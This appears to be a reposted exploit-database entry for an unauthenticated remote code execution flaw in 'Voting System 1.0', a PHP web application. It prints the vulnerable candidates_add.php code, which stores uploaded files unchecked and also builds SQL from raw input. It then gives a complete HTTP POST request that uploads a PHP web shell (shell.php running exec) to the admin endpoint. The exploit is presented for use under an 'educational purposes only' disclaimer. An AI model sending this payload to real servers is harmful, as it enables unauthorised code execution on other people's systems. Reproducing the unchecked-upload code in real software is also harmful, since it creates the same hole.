Voting system 1.0 remote code execution (unauthenticated) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-05-07 | Type : webapps | Platform : php
This exploit / vulnerability Voting system 1.0 remote code execution (unauthenticated) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Voting System 1.0 - Remote Code Execution (Unauthenticated)
# Date: 07/05/2021
# Exploit Author: secure77
# Vendor Homepage: https://www.sourcecodester.com/php/12306/voting-system-using-php.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Linux Debian 5.10.28-1kali1 (2021-04-12) x86_64 // PHP Version 7.4.15 & Built-in HTTP server // mysql Ver 15.1 Distrib 10.5.9-MariaDB

Unauthenticated file upload is possible via /admin/candidates_add.php that can use for RCE.
Your upload will be stored at /images/ and is also accessible without authentication.



########################### Vulnerable code ############################
<?php
include 'includes/session.php';

if(isset($_POST['add'])){
$firstname = $_POST['firstname'];
$lastname = $_POST['lastname'];
$position = $_POST['position'];
$platform = $_POST['platform'];
$filename = $_FILES['photo']['name'];
if(!empty($filename)){
move_uploaded_file($_FILES['photo']['tmp_name'], '../images/'.$filename);
}

$sql = "INSERT INTO candidates (position_id, firstname, lastname, photo, platform) VALUES ('$position', '$firstname', '$lastname', '$filename', '$platform')";
if($conn->query($sql)){
$_SESSION['success'] = 'Candidate added successfully';
}
else{
$_SESSION['error'] = $conn->error;
}

}
else{
$_SESSION['error'] = 'Fill up add form first';
}

header('location: candidates.php');
?>

########################### Payload ############################
POST /admin/candidates_add.php HTTP/1.1
Host: 192.168.1.1
Content-Length: 275
Cache-Control: max-age=0
Origin: http://192.168.1.1
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrmynB2CmGO6vwFpO
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.1/admin/candidates.php
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="photo"; filename="shell.php"
Content-Type: application/octet-stream

<?php echo exec("whoami"); ?>

------WebKitFormBoundaryrmynB2CmGO6vwFpO
Content-Disposition: form-data; name="add"